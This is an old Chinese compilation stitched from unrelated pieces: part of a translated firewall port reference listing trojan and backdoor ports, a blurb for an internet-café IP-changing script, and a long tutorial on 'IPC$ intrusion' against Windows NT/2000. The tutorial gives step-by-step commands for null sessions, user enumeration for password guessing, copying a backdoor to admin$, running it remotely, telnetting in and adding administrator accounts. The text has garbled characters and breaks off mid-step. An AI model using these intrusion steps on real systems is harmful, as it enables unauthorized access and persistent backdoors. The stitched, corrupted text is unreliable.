rpc.statd,rpc.csmd, rpc.ttybd, amd等。入侵者发现了允许的RPC服务将转向提供服
务的特定端口测试漏洞。记住一定要记录线路中的daemon, IDS, 或sniffer,你可以发
现入侵者正使用什么程序访问以便发现到底发生了什么。
113 Ident auth 这是一个许多机器上运行的协议,用于鉴别TCP连接的用户。使用标准
的这种服务可以
获得许多机器的信息(会被Hacker利用)。但是它可作为许多服务的记录器,尤其是
FTP, POP, IMAP, SMTP
和IRC等服务。通常如果有许多客户通过防火墙访问这些服务,你将会看到许多这个端
口的连接请求。记
住,如果你阻断这个端口客户端会感觉到在防火墙另一边与e-mail服务器的缓慢连接。
许多防火墙支持在
TCP连接的阻断过程中发回RST,着将回停止这一缓慢的连接。
119 NNTP news 新闻组传输协议,承载USENET通讯。当你链接到诸如:
news://comp.security.firewalls/. 的地址时通常使用这个端口。这个端口的连接企
图通常是人们在寻找
USENET服务器。多数ISP限制只有他们的客户才能访问他们的新闻组服务器。打开新闻
组服务器将允许发/读
任何人的帖子,访问被限制的新闻组服务器,匿名发帖或发送spam。
135 oc-serv MS RPC end-point mapper Microsoft在这个端口运行DCE RPC
end-point mapper为它的
DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和/或RPC的服务利用机器上的
end-point mapper注册
它们的位置。远端客户连接到机器时,它们查询end-point mapper找到服务的位置。同
样Hacker扫描机器的
这个端口是为了找到诸如:这个机器上运行Exchange Server吗?是什么版本?
这个端口除了被用来查询服务(如使用epdump)还可以被用于直接攻击。有一些DoS攻
击直接针对这个
端口。
技术文摘Page 3 of 5
mk:@MSITStore:F:\tools\htools\book\book.chm::/MYWEB/hei.../safetv07.ht
2002-5-14
137 NetBIOS name service nbtstat (UDP) 这是防火墙管理员最常见的信息,请仔细
阅读文章后面的
NetBIOS一节
139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB
服务。这个协
议被用于Windows“文件和打印机共享”和SAMBA。在Internet上共享自己的硬盘是可能
是最常见的问题。
大量针对这一端口始于1999,后来逐渐变少。2000年又有回升。一些VBS(IE5
VisualBasic
Scripting)开始将它们自己拷贝到这个端口,试图在这个端口繁殖。
143 IMAP 和上面POP3的安全问题一样,许多IMAP服务器有缓冲区溢出漏洞运行登陆过
程中进入。记
住:一种Linux蠕虫(admw0rm)会通过这个端口繁殖,因此许多这个端口的扫描来自不
知情的已被感染的用
户。当RadHat在他们的Linux发布版本中默认允许IMAP后,这些漏洞变得流行起来。
Morris蠕虫以后这还是
第一次广泛传播的蠕虫。
这一端口还被用于IMAP2,但并不流行。
已有一些报道发现有些0到143端口的攻击源于脚本。
161 SNMP(UDP) 入侵者常探测的端口。SNMP允许远程管理设备。所有配置和运行信息都
储存在数据库
中,通过SNMP客获得这些信息。许多管理员错误配置将它们暴露于Internet。Crackers
将试图使用缺省的密
码“public”“private”访问系统。他们可能会试验所有可能的组合。
SNMP包可能会被错误的指向你的网络。Windows机器常会因为错误配置将HP JetDirect
remote
management软件使用SNMP。HP OBJECT IDENTIFIER将收到SNMP包。新版的Win98使用
SNMP解析域名,你会看
见这种包在子网内广播(cable modem, DSL)查询sysName和其它信息。
162 SNMP trap 可能是由于错误配置
177 xdmcp 许多Hacker通过它访问X-Windows控制台,它同时需要打开6000端口。
513 rwho 可能是从使用cable modem或DSL登陆到的子网中的UNIX机器发出的广播。这
些人为Hacker进
入他们的系统提供了很有趣的信息。
553 CORBA IIOP (UDP) 如果你使用cable modem或DSL VLAN,你将会看到这个端口的广
播。CORBA是一
种面向对象的RPC(remote procedure call)系统。Hacker会利用这些信息进入系统。
600 Pcserver backdoor 请查看1524端口
一些玩script的孩子认为他们通过修改ingreslock和pcserver文件已经完全攻破了系统
-- Alan J.
Rosenthal.
635 mountd Linux的mountd Bug。这是人们扫描的一个流行的Bug。大多数对这个端口
的扫描是基于UDP
的,但基于TCP的mountd有所增加(mountd同时运行于两个端口)。记住,mountd可运
行于任何端口(到底
在哪个端口,需要在端口111做portmap查询),只是Linux默认为635端口,就象NFS通
常运行于2049端口。
1024 许多人问这个端口是干什么的。它是动态端口的开始。许多程序并不在乎用哪个
端口连接网络,
它们请求操作系统为它们分配“下一个闲置端口”。基于这一点分配从端口1024开始。
这意味着第一个向系
统请求分配动态端口的程序将被分配端口1024。为了验证这一点,你可以重启机器,打
开Telnet,再打开一
个窗口运行“natstat -a”,你将会看到Telnet被分配1024端口。请求的程序越多,动
态端口也越多。操作
系统分配的端口将逐渐变大。再来一遍,当你浏览Web页时用“netstat”查看,每个
Web页需要一个新端
口。
?ersion 0.4.1, June 20, 2000
http://www.robertgraham.com/pubs/firewall-seen.html
Copyright 1998-2000 by Robert Graham
(firewall-seen1@robertgraham.com.
All rights reserved. This document.nbspmay only be reproduced (whole or
in part) for non-commercial purposes. All reproductions must
contain this copyright notice and must not be altered, except by
permission of the author.
1025 参见1024
1026 参见1024
1080 SOCKS
技术文摘Page 4 of 5
mk:@MSITStore:F:\tools\htools\book\book.chm::/MYWEB/hei.../safetv07.ht
2002-5-14
这一协议以管道方式穿过防火墙,允许防火墙后面的许多人通过一个IP地址访问
Internet。理论上它应
该只允许内部的通信向外达到Internet。但是由于错误的配置,它会允许
Hacker/Cracker的位于防火墙外部
的攻击穿过防火墙。或者简单地回应位于Internet上的计算机,从而掩饰他们对你的直
接攻击。WinGate是
一种常见的Windows个人防火墙,常会发生上述的错误配置。在加入IRC聊天室时常会看
到这种情况。
1114 SQL
系统本身很少扫描这个端口,但常常是sscan脚本的一部分。
1243 Sub-7木马(TCP)
参见Subseven部分。
1524 ingreslock后门
许多攻击脚本将安装一个后门Sh*ll 于这个端口(尤其是那些针对Sun系统中Sendmail
和RPC服务漏洞的
脚本,如statd, ttdbserver和cmsd)。如果你刚刚安装了你的防火墙就看到在这个端
口上的连接企图,很
可能是上述原因。你可以试试Telnet到你的机器上的这个端口,看看它是否会给你一个
Sh*ll 。连接到
600/pcserver也存在这个问题。
2049 NFS
NFS程序常运行于这个端口。通常需要访问portmapper查询这个服务运行于哪个端口,
但是大部分情况
是安装后NFS 杏谡飧龆丝冢?acker/Cracker因而可以闭开portmapper直接测试这个端
口。
3128 squid
这是Squid HTTP代理服务器的默认端口。攻击者扫描这个端口是为了搜寻一个代理服务
器而匿名访问
Internet。你也会看到搜索其它代理服务器的端口:8000/8001/8080/8888。扫描这一
端口的另一原因是:
用户正在进入聊天室。其它用户(或服务器本身)也会检验这个端口以确定用户的机器
是否支持代理。请查
看5.3节。
5632 pcAnywere
你会看到很多这个端口的扫描,这依赖于你所在的位置。当用户打开pcAnywere时,它
会自动扫描局域
网C类网以寻找可能得代理(译者:指agent而不是proxy)。Hacker/cracker也会寻找
开放这种服务的机
器,所以应该查看这种扫描的源地址。一些搜寻pcAnywere的扫描常包含端口22的UDP数
据包。参见拨号扫
描。
6776 Sub-7 artifact
这个端口是从Sub-7主端口分离出来的用于传送数据的端口。例如当控制者通过电话线
控制另一台机
器,而被控机器挂断时你将会看到这种情况。因此当另一人以此IP拨入时,他们将会看
到持续的,在这个端
口的连接企图。(译者:即看到防火墙报告这一端口的连接企图时,并不表示你已被
Sub-7控制。)
6970 RealAudio
RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP7070端口
外向控制连接设
置的。
13223 PowWow
PowWow 是Tribal Voice的聊天程序。它允许用户在此端口打开私人聊天的连接。这一
程序对于建立连
接非常具有“进攻性”。它会“驻扎”在这一TCP端口等待回应。这造成类似心跳间隔
的连接企图。如果你
是一个拨号用户,从另一个聊天者手中“继承”了IP地址这种情况就会发生:好象很多
不同的人在测试这一
端口。这一协议使用“OPNG”作为其连接企图的前四个字节。
17027 Conducent
这是一个外向连接。这是由于公司内部有人安装了带有Conducent "adbot" 的共享软
件。Conducent
"adbot"是为共享软件显示广告服务的。使用这种服务的一种流行的软件是Pkware。有
人试验:阻断这一外
向连接不会有任何问题,但是封掉IP地址本身将会导致adbots持续在每秒内试图连接多
次而导致连接过载:
机器会不断试图解析DNS名─ads.conducent.com,即IP地址216.33.210.40 ;
216.33.199.77 ;
216.33.199.80 ;216.33.199.81;216.33.210.41。(译者:不知NetAnts使用的
Radiate是否也有这种现
象)
技术文摘Page 5 of 5
mk:@MSITStore:F:\tools\htools\book\book.chm::/MYWEB/hei.../safetv07.ht
2002-5-14
27374 Sub-7木马(TCP)
参见Subseven部分。
30100 NetSphere木马(TCP)
通常这一端口的扫描是为了寻找中了NetSphere木马。
31337 Back Orifice “elite”
Hacker中31337读做“elite”/ei’li:t/(译者:法语,译为中坚力量,精华。即
3=E, 1=L, 7=T)。
因此许多后门程序运行于这一端口。其中最有名的是Back Orifice。曾经一段时间内这
是Internet上最常见
的扫描。现在它的流行越来越少,其它的木马程序越来越流行。
31789 Hack-a-tack
这一端口的UDP通讯通常是由于"Hack-a-tack"远程访问木马(RAT, Remote Access
Trojan)。这种木
马包含内置的31790端口扫描器,因此任何31789端口到317890端口的连接意味着已经有
这种入侵。(31789
端口是控制连接,317890端口是文件传输连接)
32770~32900 RPC服务
Sun Solaris的RPC服务在这一范围内。详细的说:早期版本的Solaris(2.5.1之前)将
portmapper置于
这一范围内,即使低端口被防火墙封闭仍然允许Hacker/cracker访问这一端口。扫描这
一范围内的端口不是
为了寻找portmapper,就是为了寻找可被攻击的已知的RPC服务。
33434~33600 traceroute
如果你看到这一端口范围内的UDP数据包(且只在此范围之内)则可能是由于
traceroute。参见
traceroute部分。
41508 Inoculan
早期版本的Inoculan会在子网内产生大量的UDP通讯用于识别彼此。参见
http://www.circlemud.org/~jelson/software/udpsend.html
http://www.ccd.bnl.gov/nss/tips/inoculan/index.html
(二) 下面的这些源端口意味着什么?
端口1~1024是保留端口,所以它们几乎不会是源端口。但有一些例外,例如来自NAT机
器的连接。参见
1.9。
常看见紧接着1024的端口,它们是系统分配给那些并不在乎使用哪个端口连接的应用程
序的“动态端
口”。
Server Client 服务描述
1-5/tcp 动态FTP 1-5端口意味着sscan脚本
20/tcp 动态FTP FTP服务器传送文件的端口
53 动态FTP DNS从这个端口发送UDP回应。你也可能看见源/目标端口的TCP连接。
123 动态S/NTP 简单网络时间协议(S/NTP)服务器运行的端口。它们也会发送到这个
端口的广播。
27910~27961/udp 动态Quake Quake或Quake引擎驱动的游戏在这一端口运行其服务器。
因此来自这一
端口范围的UDP包或发送至这一端口范围的UDP包通常是游戏。
网吧IP自动修改程序
网吧IP自动修改程序
各位网吧业主和网管朋友一定经历过这样的情景。
就是每次GHOST盘后,都要给每台机器修改IP地址、网络标识、反恐CDKEY等……这是毫无技巧性又十分烦琐的工作,为大家做了个小脚本,希望能给大家派上用场。
它的功能如下:
自动更改IP地址、子网掩码、网络标识、系统登陆用户名、绝不重复的反恐CDKEY……
使用方法:
1 用winrar 3.0解开AutoIp.rar得到Money.vbs文件
2 用记事本打开money.vbs输入一些网吧信息。
Dim GateWay,IpMast,PcName,Money
GateWay = "192.168.0.254"
IpMask = "255.255.255.0"
PcName = "User"
看到了吗?GateWay是您的网关,IpMask是您的子网掩码,PcName是标识前缀!
3 以上操作完成后记得保存!
4 你可以执行这个脚本了。对,就是双击它!
5 正式使用:比如你的机器是12号,就在程序的文本栏里输入12就行。
然后程序会问你是否重新启动windows,点"是”就可以了。
*为了缓解网管的工作负担,我希望大家为这个脚本提供一些建议。
如果这个程序得到完善,对于大家都是有好处的。
IPC$命令详解
IPC$命令详解
一 摘要
二 什么是ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$所使用的端口
六 ipc管道在hack攻击中的意义
七 ipc$连接失败的常见原因
八 复制文件失败的原因
九 关于at命令和xp对ipc$的限制
十 如何打开目标的IPC$共享以及其他共享
十一 一些需要shell才能完成的命令
十二 入侵中可能会用到的命令
十三 对比过去和现今的ipc$入侵
十四 如何防范ipc$入侵
十五 ipc$入侵问答精选
一 摘要
注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列。
二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系 统安全性的降低。
平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?
三 什么是空会话
在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建
立;
2)服务器产生一个随机的64位数(实现挑战)传送回客户;
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结
果返回到服务器(实现响应);
4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确 后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
以上是一个安全会话建立的大致过程,那么空会话又如何呢?
空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系 统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:
Everyone
Network
在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?
四 空会话可以做什么
对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份#作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。
从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的导出用户列表大大增加了猜解的成 功率,仅从这一点,足以说明空会话所带来的安全隐患,因此说空会话毫无用处的说法是不正确的。以下是空会话中能够使用的一些具体命令:
1 首先,我们先建立一个空连接(当然,这需要目标开放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。
2 查看远程主机的共享资源
命令:net view \\ip
解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果,但此命令不能显示默认共享。
在 \\*.*.*.*的共享资源
资源共享名 类型 用途 注释
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
3 查看远程主机的当前时间
命令: net time \\ip
解释:用此命令可以得到一个远程主机的当前时间。
4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
命令:nbtstat -A ip
用此命令可以得到一个远程主机的NetBIOS用户名列表,返回如下结果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER UNIQUE Registered
OYAMANISHI-H GROUP Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
..__M##ROWSE__. GROUP Registered
INet~Services GROUP Registered
IS~SERVER...... UNIQUE Registered
MAC Address = 00-50-8B-9A-2D-37
以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的#作会在Event Log中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?
五 ipc$所使用的端口
首先我们来了解一些基础知识:
1 SMB: (Server Message Block) Windows协议族,用于文件打印共享的服务;
2 NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。
有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:
对于win2000客户端(发起端)来说:
1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。
对于win2000服务器端来说:
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
2 如果禁止NBT,那么只有445端口开放。
我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。
六 ipc管道在hack攻击中的意义
ipc管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放ipc管道的主机似乎更容易得手。通过ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送 文件这一方面,ipc管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当然,我们也不能忽视权限在ipc管道中扮演的重要角色,想必你一定品尝过空会 话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么ipc管道这把双刃剑将显示出它狰狞的一面。
七 ipc$连接失败的常见原因
以下是一些常见的导致ipc$连接失败的原因:
1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;
2 如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接;
3 连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;
5 响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 响应方的139,445端口未处于监听状态或被防火墙屏蔽;
7 连接发起方未打开139,445端口;
8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于''无法更新密码''这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;
10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
八 复制文件失败的原因
有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?
1 对方未开启共享文件夹
这类错误出现的最多,占到50%以上。许多朋友在ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立ipc$连接就一定有共享文件夹存在。
2 向默认共享复制失败
这类错误也是大家经常犯的,主要有两个小方面:
1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,并不能说明默认共享 一定存在。ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹;
2)由于net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的#作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以 避免此类错误的发生)
要点:请大家一定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。
3用户权限不够,包括四种情形:
1)空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;
2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才可以,在Win2000 Server版本 Server Operatros组也可以访问到这些共享目录;
3)向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);
4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;
注意:
1 不要认为administrator就一定具有管理员权限,管理员名称是可以改的
2 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,如图6,管理员为D盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然 不能访问D盘。不过有意思的是,如果此时对方又开启了D$的默认共享,那么你却可以访问D$,从而绕过了权限限制,有兴趣的朋友可以自己做测试。
4被防火墙杀死或在局域网
还有一种情况,那就是也许你的复制#作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复 制#作已经成功了,只是运行时出了问题。
呵呵,大家也知道,ipc$连接在实际#作过程中会出现各种各样的问题,上面我所总结的只是一些常见错误,没说到的,大家可以给我提个醒儿。
九 关于at命令和xp对ipc$的限制
本来还想说一下用at远程运行程序失败的原因,但考虑到at的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐大家用p***ec.exe远程运行程序,假设想要远程机器执行本地c:\xinxin.exe文件,且管理 员为administrator,密码为1234,那么输入下面的命令:
p***ec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已经建立ipc连接,则-u -p这两个参数不需要,p***ec.exe将自动拷贝文件到远程机器并运行。
本来xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到xp的时候,大部分#作都很难成功。我在这里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和 密码,你所得到的权限也只是Guest,因此大部分#作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码,我建议你尽量避开ipc管道。
十 如何打开目标的IPC$共享以及其他共享
目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马,cmd重定向等,然后在shell下执行:
net share ipc$
开放目标的ipc$共享;
net share ipc$ /del
关闭目标的ipc$共享;如果你要给它开共享文件夹,你可以用:
net share xinxin=c:\
这样就把它的c盘开为共享名为xinxin共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是net share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些#作都是在shell下才能实现的。
十一 一些需要shell才能完成的命令
看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:
1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的#作需要在shell下完成;
2 打开远程主机的ipc$共享,默认共享,普通共享的#作需要在shell下完成;
3 运行/关闭远程主机的服务,需要在shell下完成;
4 启动/杀掉远程主机的进程,也需要在shell下完成(用软件的情况下除外,如pskill)。
十二 入侵中可能会用到的命令
为了这份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你只能在获得远程主机的shell(如cmd,telnet等)后,才能 向远程主机执行。
1 建立/删除ipc$连接的命令
1)建立空连接:
net use \\127.0.0.1\ipc$ "" /user:""
2)建立非空连接:
net use \\127.0.0.1\ipc$ "密码" /user:"用户名"
3)删除连接:
net use \\127.0.0.1\ipc$ /del
2 在ipc$连接中对远程主机的#作命令
1) 查看远程主机的共享资源(看不到默认共享):
net view \\127.0.0.1
2) 查看远程主机的当前时间:
net time \\127.0.0.1
3) 得到远程主机的netbios用户名列表:
nbtstat -A 127.0.0.1
4)映射/删除远程共享:
net use z: \\127.0.0.1\c
此命令将共享名为c的共享资源映射为本地z盘
net use z: /del
删除映射的z盘,其他盘类推
5)向远程主机复制文件:
copy 路径\文件名 \\IP\共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\
6)远程添加计划任务:
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用24小时制;如果你打算运行的程序在系统默认搜索路径(比如system32/)下则不用加路径,否则必须加全路径
3 本地命令
1)查看本地主机的共享资源(可以看到本地的默认共享)
net share
2)得到本地主机的用户列表
net user
3)显示本地某用户的帐户信息
net user 帐户名
4)显示本地主机当前启动的服务
net start
5)启动/关闭本地服务
net start 服务名
net stop 服务名
6)在本地添加帐户
net user 帐户名 密码 /add
7)激活禁用的用户
net uesr 帐户名 /active:yes
8)加入管理员组
net localgroup administrators 帐户名 /add
很显然的是,虽然这些都是本地命令,但如果你在远程主机的shell中输入,比如你telnet成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
4 其他一些命令
1)telnet
telnet IP 端口
telnet 127.0.0.0 23
2)用opentelnet.exe开启远程主机的telnet
OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求:
1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就可以更改ntlm认证
4)对仅WIN2K/XP有效
3)用p***ec.exe一步获得shell,需要ipc管道支持
p***ec.exe \\IP -u 管理员帐号 -p 密码 cmd
p***ec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 对比过去和现今的ipc$入侵
既然是对比,那么我就先把过去的ipc$入侵步骤写给大家,都是蛮经典的步骤:
[1]
C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\用扫到的空口令建立连接
[2]
c:\>net view \\127.0.0.1
\\查看远程的共享资源
[3]
C:\>copy srv.exe \\127.0.0.1\admin$\system32
\\将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启
[4]
C:\>net time \\127.0.0.1
\\查看远程主机的当前时间
[5]
C:\>at \\127.0.0.1 时间 srv.exe
\\用at命令远程运行srv.exe,需要对方开启了''Task Scheduler''服务
[6]
C:\>net time \\127.0.0.1
\\再次查看当前时间来估算srv.exe是否已经运行,此步可以省略
[7]
C:\>telnet 127.0.0.1 99
\\开一个新窗口,用telnet远程登陆到127.0.0.1从而获得一个shell(不懂shell是什么意思?那你就把它想象成远程机器的控制权就好了,#作像DOS),99端口是srv.exe开的一次性后门的端口
[8]
C:\WINNT\system32>net start telnet
\\我们在刚刚登陆上的shell中启动远程机器的telnet服务,毕竟srv.exe是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的telnet已经启动,此步可省略
[9]
C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\在原来那个窗口中将ntlm.exe传过去,ntlm.exe是用来更改telnet身份验证的
[10]
C:\WINNT\system32>ntlm.exe
\\在shell窗口中运行ntlm.exe,以后你就可以畅通无阻的telnet这台主机了
[11]
C:\>telnet 127.0.0.1 23
\\在新窗口中telnet到127.0.0.1,端口23可省略,这样我们又获得一个长期的后门
[12]
C:\WINNT\system32>net user 帐户名 密码 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet上以后,你可以建立新帐户,激活guest,把任何帐户加入管理员组等
好了,写到这里我似乎回到了2,3年前,那时的ipc$大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令现在已经不常用到了,那就让我们看看现在的高效而简单的ipc$入侵吧。
[1]
p***ec.exe \\IP -u 管理员帐号 -p 密码 cmd
\\用这个工具我们可以一步到位的获得shell
OpenTelnet.exe \\server 管理员帐号 密码 NTLM的认证方式 port
\\用它可以方便的更改telnet的验证方式和端口,方便我们登陆
[2]
